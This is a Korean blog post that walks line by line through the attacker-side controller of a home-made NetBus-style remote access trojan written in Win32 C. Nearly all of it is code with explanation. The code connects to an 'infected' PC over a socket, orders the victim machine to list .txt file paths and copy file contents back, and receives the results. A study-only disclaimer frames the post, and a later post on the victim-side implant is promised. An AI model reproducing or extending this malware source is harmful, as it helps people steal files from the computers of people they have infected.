안녕하십니까 이번 포스팅에서는 넷버스(공격자) 소스 코드를 포스팅하겠습니다.

다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.

1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 한 번 코드를 하나씩 살펴봅시다.

- #include <winsock2.h>

윈도우 소켓과 관련된 함수를 쓰기 위해 윈속 헤더파일을 선언합니다.

- #pragma comment(lib, "Ws2_32.lib")

소켓 관련 라이브러리인 Ws2_32.lib을 링커에 추가합니다.

- #define connectbutton 1

  #define filefindbutton 2

  #define capturebutton 3

  #define filecopybutton 4

넷버스에 쓰이는 버튼들의 ID를 define문으로 정의합니다.

#define WM_SOCKET WM_USER+1

소켓 관련 메세지를 받기 위해 WM_SOCKET이란 메세지를 WM_USER를 이용하여 정의합니다. 이 때 WM_USER은 사용자가 메세지를 정의할 때 사용하며 기본값은 400입니다. 즉 위의 WM_SOCKET을 디버깅으로 살펴보면 401로 정의되어집니다.

typedef struct SR_Str

{

char str[100];

char str2[256];

char txtStrings[500][256];

int size;

char string[500000];

}SR_String;

소켓 통신에 사용할 메세지를 구조체로 정의합니다. 각각 다른 메세지를 받아 통신을 함으로써 처리를 다양하게 해주기 위해 선언하였습니다.

각 멤버변수의 역할은 다음과 같습니다.

str1 -> 받은 명령을 구분할 때 사용합니다.

str2 -> 256 이하의 문자열을 처리할때 사용합니다.

txtStrings -> 파일들의 경로를 저장받기 위한 배열(최대 500개, 경로 문자열 제한은 256)입니다.

size -> 파일 크기를 받는 멤버인데 현재 코드에서는 직접적으로 사용하지 않습니다.

string -> 파일의 내용을 복사할 때 파일의 내용을 저장받기 위한 배열이며 최대 50만 바이트까지 저장할 수 있습니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);

  BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);

  BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);

윈도우 프로시저와 대화상자 프로시저를 선언합니다.

- void Sconnect(char *address,int port);

  int _strcmp(char *str1);

  void createTXT(char str[][256]);

  void copyTXT(void);

앞에서 설명드린 함수들을 선언합니다.

- HWND G_connectB,G_combobox,G_CResult,G_Port,G_findfile,G_Capture,G_fileCopy;

넷버스에 쓰인 버튼들의 핸들을 저장하기 위해 전역변수로 선언합니다.

- HWND G_Mainhwnd,G_filefindDlg,G_fileCopyDlg;

메인 윈도우의 핸들과 대화상자의 핸들들을 저장하기 위해 전역변수로 선언합니다.

- HINSTANCE G_hInstance;

WinMain의 HINSTANCE 인자값을 전역변수로 쓰기 위해 사용합니다. 

- SOCKET G_Socket;

소켓통신을 위해 소켓형 변수를 전역변수로 선언합니다.

- SR_String G_String;

앞에서 정의한 구조체를 전역변수로 선언합니다.

WinMain의 함수는 딱히 설명할 부분이 없으므로 그냥 생략하겠습니다. WndProc함수를 살펴봅시다.

- HDC hdc;

  PAINTSTRUCT ps;

WM_PAINT 메세지에서 코드사용을 위해 선언한 변수들입니다.

- int str_len,Recvstr;

유니코드를 멀티바이트로 변환하기 위한 str_len과 소켓 통신으로 인해 받은 데이터의 크기를 저장할 변수 Recvstr를 선언합니다.

- u_long Mode = 0;

ioctlsocket함수의 인자로 사용하기 위해 Mode란 변수를 선언과 동시에 0으로 값을 줍니다.

- TCHAR Wide_address[100] = L"",CResultStr[100] = L"", TCHAR Port_address[100] = L"";

유니코드로 읽어온 IP주소를 저장할 변수인 Wide_address와 통신의 결과를 출력할 때 쓰일 CResultStr변수, 그리고 유니코드로 읽어온 port값을 저장할 변수인 Port_address를 선언합니다.

- char Mult_address[100] = "";

멀티바이트로 변환한 IP주소를 저장할 변수를 선언합니다.

- case WM_CREATE:

윈도우에서 WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.

- G_Mainhwnd = hWnd;

현재 핸들을 전역변수에 저장시킵니다.

- G_combobox = CreateWindow(L"combobox",NULL,WS_CHILD | WS_VISIBLE | WS_VSCROLL | CBS_DROPDOWN,210,10,150,100,hWnd,NULL,NULL,NULL);

IP주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 콤보박스 윈도우에 사용된 옵션은 다음과 같습니다.

WS_VSCROLL -> CBS_DROPDOWN옵션으로 생성된 버튼을 누를시 목록을 출력

CBS_DROPDOWN -> 콤보박스의 옆에 역삼각형 버튼을 생성

- G_connectB = CreateWindow(L"button",L"Connect",WS_CHILD | WS_VISIBLE,370,40,80,20,hWnd,(HMENU)connectbutton,NULL,NULL);

소켓통신을 시작한다는 명령을 받기 위한 Connect버튼을 생성합니다. 이때 ID는 define에서 정의한 값입니다.

- G_CResult = CreateWindow(L"static",L"NO connection",WS_CHILD | WS_VISIBLE,0,237,455,20,hWnd,NULL,NULL,NULL);

소켓 통신의 결과를 사용자에게 알려주기 위해 static윈도우를 생성합니다. 기본값은 NO connection입니다.

- G_Port = CreateWindow(L"edit",L"12345",WS_CHILD | WS_VISIBLE | WS_BORDER,400,10,50,20,hWnd,NULL,NULL,NULL);

포트주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 기본값은 12345입니다.

- G_findfile = CreateWindow(L"button",L"파일찾기",WS_CHILD | WS_VISIBLE,0,100,105,25,hWnd,(HMENU)filefindbutton,NULL,NULL);

  G_Capture = CreateWindow(L"button",L"화면캡쳐",WS_CHILD | WS_VISIBLE,0,130,105,25,hWnd,(HMENU)capturebutton,NULL,NULL);

  G_fileCopy = CreateWindow(L"button",L"파일복사",WS_CHILD | WS_VISIBLE,0,160,105,25,hWnd,(HMENU)filecopybutton,NULL,NULL);

감염자의 소켓에 명령을 내리기 위해 사용하는 버튼들을 생성합니다. 이 중 화면캡쳐는 구현하지 않았습니다.

- EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

모든 버튼들을 생성시킨 후 감염자의 소켓에 명령을 내리는 버튼들을 비활성화 시킵니다. 이 버튼들은 나중에 감염자와의 통신이 성공하면 활성화 됩니다.

- case WM_DESTROY:

PostQuitMessage(0);

윈도우 창이 파괴되면 프로그램을 종료합니다.

- case WM_COMMAND:

switch(LOWORD(wParam))

각각 버튼을 눌렀을 때의 처리입니다.

- case connectbutton:

감염자와 통신을 시도하기 위해 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.

- SendMessage(G_connectB,WM_GETTEXT,100,(LPARAM)&Wide_address);

G_connectB에 WM_GETTEXT메세지를 보내 현재 버튼에 적용된 텍스트를 가져와 Wide_address에 저장시킵니다.

- if(lstrcmp(Wide_address,L"Connect") == 0)

가져온 텍스트가 Connect일 경우 즉 사용자가 Connect가 적힌 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.

- EnableWindow(G_connectB,FALSE);

connectbutton을 비활성화시킵니다.

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

G_combobox로부터 IP주소를 가져와 Wide_address에 저장시킵니다.

- wsprintf(CResultStr,L"connecting to %s...",Wide_address);

Wide_address값을 이용하여 CResultStr배열에 connecting to %s...형식으로 문자열을 저장시킵니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"connecting");

connectbutton의 텍스트를 connecting으로 바꿉니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

G_CResult(static)컨트롤의 문자열을 CResultStr에 저장된 문자열로 수정합니다.

- str_len = WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),Mult_address,str_len,NULL,NULL);

유니코드로 저장된 IP주소를 멀티바이트로 변환시켜 Mult_address에 저장합니다.

- SendMessage(G_Port,WM_GETTEXT,100,(LPARAM)Port_address);

G_Port로부터 입력된 포트번호를 가져와 Port_address에 저장시킵니다.

- Sconnect(Mult_address,_wtoi(Port_address));

Sconnect함수를 호출합니다. 이 때 인자는 멀티바이트로 변환된 IP주소와 포트번호입니다. 그런데 여기서 받은 포트번호는 유니코드 문자열이므로 이를 int형으로 바꿔주기 위해 _wtoi함수를 사용하였습니다.

- else

사용자가 connectbutton을 눌렀을 때의 connectbutton텍스트가 Connect가 아닐 경우 아래의 코드를 수행합니다. 즉 이부분은 공격자와 감염자의 연결을 끊는 부분입니다. 

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

connectbutton의 텍스트를 원래 기본값인 Connect로 복구시킵니다.

- shutdown(G_Socket,SD_SEND);

연결된 소켓에 SD_SEND메세지를 보내 소켓의 연결을 끊습니다.

- closesocket(G_Socket);

  WSACleanup();

연결을 끊은 소켓을 종료하고 WSACleanup함수를 호출하여 WSAStartup함수 사용을 중지합니다. 

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");

G_CResult의 문자열을 기본값인 NO connection으로 복구시킵니다.

- EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

감염자의 소켓에 명령을 보내는 버튼들을 비활성화합니다.

- case filefindbutton:

 DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG1),hWnd,FilefindDlgProc);

감염자의 PC에서 파일을 찾으라는 명령어를 보내기 위해 파일 찾기 버튼을 눌렀을 때해당 대화상자를 호출합니다. 다만 대화상자가 열린 상태에서 메인 윈도우를 조작할 수 없게 하기 위해 모달형 대화상자로 호출하였습니다.

모달형 대화상자를 호출하려면 DialogBox함수를 사용합니다.

- case capturebutton:

화면캡쳐 버튼을 눌렀을 경우의 처리부문인데 아직 구현하지 않았습니다.

- case filecopybutton:

DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG2),hWnd,FilecopyDlgProc);

찾은 파일 경로를 이용하여 파일을 복사시키라는 명령어를 보내기 위해 파일 복사 버튼을 눌렀을 때 해당 대화상자를 모달형으로 호출합니다.

- case WM_SOCKET:

소켓 관련 이벤트를 받았을 때 윈도우는 앞의 WSAAsyncSelect함수에 의해 WM_SOCKET메세지를 발생시키게 됩니다. 이 때 아래의 코드를 수행합니다.

- switch(WSAGETSELECTEVENT(lParam))

lParam값을 WSAGETSELECTEVENT함수를 사용해 이벤트를 추출하고 그 이벤트에 따라 각각의 코드가 수행됩니다.

추가로 설명드리자면 WM_SCOKET메세지를 받았을 경우 wParam은 해당 이벤트가 발생한 소켓을 나타내며 lParam은 발생한 소켓의 이벤트 혹은 에러메세지를 나타냅니다. 

- case FD_CONNECT:

FD_CONNECT이벤트가 발생했을 경우 아래의 코드를 수행합니다. FD_CONNECT이벤트는 서버로 연결을 시도했을 때 발생하는 이벤트입니다.

- if(WSAGETSELECTERROR(lParam) == 0)

이번엔 WSAGETSELECTERROR함수를 사용하여 lParam에서 에러를 추출합니다. 만약 아무런 에러가 발생하지 않았다면 해당 소켓이 성공적으로 서버에 연결된 것을 의미하며 아래의 코드를 수행합니다. 

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

G_combobox컨트롤에서 사용자가 입력한 IP주소 값을 읽어와 Wide_address에 저장시킵니다.

- wsprintf(CResultStr,L"Connected to %s",Wide_address);

Wide_address값을 이용하여 CResultStr배열에 Connected to %s 형식으로 저장시킵니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

G_CResult 컨트롤에 문자열을 새로 출력함으로써 연결이 성공적으로 되었다는 것을 사용자에게 알립니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Cancel");

  EnableWindow(G_connectB,TRUE);

연결이 성공적으로 완료되었으므로 G_connectB의 버튼의 텍스트를 Connecting에서 Cancel로 바꾼 후 버튼을 활성화 시킵니다.

- EnableWindow(G_findfile,TRUE);

  EnableWindow(G_Capture,TRUE);

  EnableWindow(G_fileCopy,TRUE);

감염자와의 연결이 성공적으로 되었으므로 명령을 내릴 수 있도록 버튼들을 활성화시킵니다.

- else

WSAGETSELECTERROR함수를 사용해 추출한 에러값이 0이 아닐 경우에는 소켓 연결이 실패했다는 것을 의미합니다. 이 때에는 아래의 코드를 수행합니다.

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

  wsprintf(CResultStr,L"Couldn't connect to %s",Wide_address);

IP주소를 가져와 CResultStr에 Couldn't connect to %s 형식으로 문자열을 넣습니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

  EnableWindow(G_connectB,TRUE);

연결이 실패했으므로 Connecting텍스트가 적힌 버튼을 초기값인 Connect로 수정하고 활성화시킵니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

  closesocket(G_Socket);

  WSACleanup();

사용자에게 연결이 실패했다는 것을 알리고 소켓 사용을 종료합니다.

- case FD_READ:

이번엔 FD_READ 이벤트를 받았을 때의 처리입니다. FD_READ는 상대방의 소켓으로부터 데이터를 받았을 때 발생하는 메세지입니다. 이 때에는 아래의 코드를 수행합니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,0);

WSAAsyncSelect함수를 다시 호출합니다. 이 때 마지막 인자의 값을 0으로 주어 앞에서 호출한 WSAAsyncSelect함수를 중지시킵니다. 이러한 작업을 해주는 이유는 바로 다음코드에 ioctlsocket함수를 호출하기 위해서입니다.

- ioctlsocket(G_Socket,FIONBIO,&Mode);

ioctlsocket함수를 호출합니다. ioctlsocket함수를 살펴봅시다.

해당 소켓의 입출력모드를 제어하는 함수라고 되어있습니다. 쉽게 얘기하면 소켓의 동작 방식을 지정해주는 함수라고 보시면 됩니다.

기본적으로 소켓은 블로킹 방식 혹은 비블로킹 방식으로 작동합니다. 간단하게 두 방식의 특징을 살펴봅시다.

먼저 블로킹 방식이란 소켓으로 통신을 시도할 때 다른 작업을 할 수 없도록 하는 방식입니다. 예를 들면 소켓이 통신을 시도하고 있는 중이라면 메인 윈도우의 닫기 작업을 수행할 수 없다는 것이지요. 즉 스레드가 대기상태가 되버립니다.

반대로 비블로킹 방식은 소켓이 통신을 시도할 때 다른 작업을 할 수 있도록 하는 방식입니다. 그리고 이 방식은 WSAAsyncSelect함수를 호출할 때 자동으로 소켓에 지정되는 방식입니다.

자 그렇다면 ioctlsocket함수는 무엇일까요? 이 함수는 소켓을 블로킹모드 혹은 비블로킹모드로 설정해주는 함수라고 보시면 됩니다. 두 번째 인자에서 FIONBIO값을 주면 해당 소켓의 동작 방식을 바꿀수가 있으며 세번째 인자의 값이 0이면 블로킹모드, 0이 아니면 비블로킹모드로 바꿔집니다. 다만 세번째 인자는 포인터값을 받으므로 0값이 저장된 변수를 선언하여 그 변수의 포인터값을 인자로 주었습니다. 

그리고 이 함수는 좀 특별한 특징을 가지고 있는데 그 특징은 다음과 같습니다.

1. WSAAsyncSelect함수나 WSAEventSelect함수가 호출 된 후 시도하는 모든     ioctlsocket함수는 실패합니다.

2. 1번의 문제를 해결할려면 WSAAsyncSelect함수의 네번째 인자를 0으로 준 뒤 한 번 더 호출한 후 ioctlsocket함수를 호출하여야합니다.

얘기가 조금 길어졌습니다만 최종적으로 정리하면 이 코드는 해당 소켓을 블로킹모드로 바꾸어주는 역할을 합니다. 왜 소켓을 블로킹 모드로 바꾸는지는 recv함수에서 설명드리겠습니다.

- memset(&G_String,0,sizeof(G_String));

앞에서 선언한 구조체를 초기화시킵니다.

- Recvstr = recv(G_Socket,(char *)&G_String,sizeof(G_String),MSG_WAITALL);

recv함수를 사용하여 해당 소켓이 받은 데이터를 읽습니다. 이 recv함수를 살펴봅시다.

말그대로 소켓에 들어온 데이터를 받는 함수입니다. 즉 상대방 측에서 send함수를 사용하여 소켓에 데이터를 보내면 받는 쪽에서는 recv함수를 사용하여 데이터를 받는 것입니다. 이 때 받은 데이터를 저장하는 변수는 2번째 인자이며 char형으로 받습니다. 세번째 인자는 2번째 인자의 크기이며 네번째 인자는 관련된 옵션을 지정해 줄 수가 있습니다.

여기서 중요한 것은 2번째 인자가 char형이라서 char형 변수만 인자로 쓸수 있는 것은 아니라 구조체 같은 변수도 강제형변환을 해서 받을 수가 있습니다. 다만 이 경우에는 보내는 쪽에서도 같은 구조체 형식으로 데이터를 보내야 합니다. 우리는 이 방식을 이용해 통신을 할 것입니다.

또 하나를 더 살펴봐야 할 부분이 있는데 그것은 네번째 인자의 MSG_WAITALL값입니다. 이 값을 설명하기 전에 TCP 통신의 특징을 한 번 살펴봅시다.

보통 TCP 소켓 통신은 스트림으로 이루어집니다. 이 때 스트림의 특징은 경계가 없다는 것인데 이게 문제가 되는 것이 뭐냐면 송신자 측에서 수신자 측으로 10바이트의 데이터를 보낸다면 수신자측에서는 10바이트 데이터를 한번에 받을 수도 있고 못받을 수도 있다는 것이지요.

10 바이트 전송 -> 10 바이트 받음

10 바이트 전송 -> 5 바이트 받음 -> 5바이트 받음

10 바이트 전송 -> 1 바이트 받음 -> 9바이트 받음

이런 식이 된다는 뜻입니다. 경계가 없기 때문에 데이터를 얼만큼 받아야 하는지 모르는 것이지요.  이를 프로그래밍으로 다시 한번 살펴본다면

send(10바이트) -> recv(10바이트)

send(10바이트) -> recv(5바이트) -> recv(5바이트)

send(10바이트) -> recv(1바이트) -> recv(9바이트) 

가 되겠군요. 그래서 보통은 반복문을 사용하여 데이터를 다 받을 때까지 recv를 호출할 수 있도록 프로그래밍을 하지만 우리는 구조체를 이용해 통신을 하기 때문에 이런 방법도 통하지 않습니다. 이 때 필요한 것이 바로 recv 네번째 인자의 옵션인 MSG_WAITALL입니다.

이 MSG_WAITALL 옵션은 데이터를 MSDN에도 설명이 나와있습니다만 간단히 설명드리자면 recv함수를 호출할 때 제공한 버퍼의 데이터가 꽉 찼을 경우에만 recv 함수가 완료되도록 하는 기능입니다. 지금의 우리에게 필요한 기능이지요. 다만 이 옵션을 사용할려면 해당 소켓의 모드가 블로킹방식이어야 합니다. 그래서 우리는 이 옵션을 사용하기 위해 앞의 ioctlsocket함수를 호출하여 소켓을 블로킹모드로 지정한 것입니다.

설명이 길어졌군요. 다음 코드를 살펴봅시다.

- if(Recvstr < 0)

break;

recv함수로 받은 데이터의 크기값이 0보다 작을 경우 에러가 발생한 것이므로 switch문을 탈출합니다.

- switch(_strcmp(G_String.str))

데이터를 받았으므로 그 데이터에 따라 처리를 다르게 해주기 위해 switch문을 사용하였습니다. 이 때 구분하는 값은 G_String의 str멤버변수를 인자로 받는 _strcmp함수의 반환값입니다.

- case 0:

createTXT(G_String.txtStrings);

G_String.str의 문자열이 "filefind - txt" 인 경우 createTXT함수를 호출합니다. 이 때 인자는 감염자의 PC로부터 가져온 텍스트 파일들의 경로입니다.

- case 1:

G_String.str의 문자열이 "filecopy - getTXTsize" 인 경우의 처리부문이지만 아직 구현하진 않았습니다. 

- case 2:

copyTXT();

G_String.str의 문자열이 "filecopy - txtcopycomplete" 인 경우 copyTXT함수를 호출합니다.

- case 3:

      MessageBox(G_fileCopyDlg,L"파일의 크기가 0 혹은 너무 커 복사가 불가능합니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - sizeError" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 4:

MessageBox(G_fileCopyDlg,L"해당 파일이 삭제되었거나 파일경로가 잘못되었습니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - txtnotfound" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 5:

MessageBox(G_fileCopyDlg,L"해당 파일의 접근이 거부되었습니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - ACCESS_DENIED" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 999:

그 외의 메세지인 경우 아무런 처리를 하지 않습니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

받은 메세지를 다 처리한 경우 다시 이벤트를 받기 위해 WSAAsyncSelect함수를 호출합니다. 이 때 소켓은 다시 비블로킹 동작으로 지정됩니다.

- case FD_CLOSE:

FD_CLOSE 이벤트를 받았을 경우 아래의 코드를 수행합니다. FD_CLOSE 이벤트는 서버와의 연결이 끊겼을 때 발생하는 이벤트입니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

  SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");

G_connectB버튼과 결과창의 텍스트를 초기화시킵니다.

- closesocket(G_Socket);

  WSACleanup();

  EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

소켓의 사용을 종료하고 명령을 내리는 버튼들을 비활성화시킵니다.

- EndDialog(G_filefindDlg,NULL);

  EndDialog(G_fileCopyDlg,NULL);

만약 열려진 대화상자가 있으면 종료시킵니다.

- case WM_PAINT:

hdc = BeginPaint(hWnd,&ps);

TextOut(hdc,363,12,L"포트:",lstrlen(L"포트:"));

EndPaint(hWnd,&ps);

WM_PAINT메세지에선 포트 라는 글자를 출력합니다.

- BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)

이번에는 파일 찾기 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.

- switch(Message)

case WM_INITDIALOG:

G_filefindDlg = hWnd;

생성될 때 대화상자의 핸들을 전역변수에 저장시킵니다.

- case WM_COMMAND:

switch(wParam)

case txt:

EnableWindow(GetDlgItem(hWnd,txt),FALSE);

memset(&G_String,0,sizeof(G_String));

strcpy(G_String.str,"filefind - txt");

send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);

대화상자의 txt버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 str멤버변수에 filefind - txt문자열을 넣고 send함수를 이용하여 감염자 소켓으로 데이터를 전송합니다. send함수 또한 recv랑 비슷한 인자입니다.

- case WM_CLOSE:

EndDialog(hWnd,NULL);

닫기버튼을 누르면 대화상자를 종료합니다.

- BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam)

이번엔 파일 복사 버튼을 눌렀을 때 호출되는 대화상자의 프로시저를 살펴봅시다.

- TCHAR str3[256] = L"";

  int str_len;

사용자로부터 입력 받은 경로를 저장할 변수 str3과 그 문자열을 멀티바이트로 변환시킬 때 필요한 변수 str_len을 선언합니다.

- case WM_COMMAND:

switch(wParam)

case copy:

EnableWindow(GetDlgItem(hWnd,copy),FALSE);

memset(&G_String,0,sizeof(G_String));

SendDlgItemMessage(hWnd,copypath,WM_GETTEXT,255,(LPARAM)str3);

str_len = WideCharToMultiByte(949,NULL,str3,lstrlen(str3),NULL,NULL,NULL,NULL);

WideCharToMultiByte(949,NULL,str3,lstrlen(str3),G_String.str2,str_len,NULL,NULL);

대화상자의 copy버튼을 눌렀을 경우 먼저 해당 버튼을 비활성화 시킨후 구조체를 초기화합니다. 그리고 copypath로부터 경로 문자열을 가져와 str3에 저장시킨 후 멀티바이트로 변환시켜 str2멤버변수에 저장시킵니다.

- strcpy(G_String.str,"filecopy - txt");

str멤버변수에 filecopy - txt를 넣습니다.

- send(G_Socket,(char *)&G_String,sizeof(G_String),NULL);

해당 구조체를 감염자 소켓으로 전송합니다.

네 여기까지가 넷버스 코드의 마지막 부분이었습니다. 다음 포스팅에서는 감염자의 PC에서 실행되는 패치의 코드를 살펴봅시다.


Posted by englishmath
,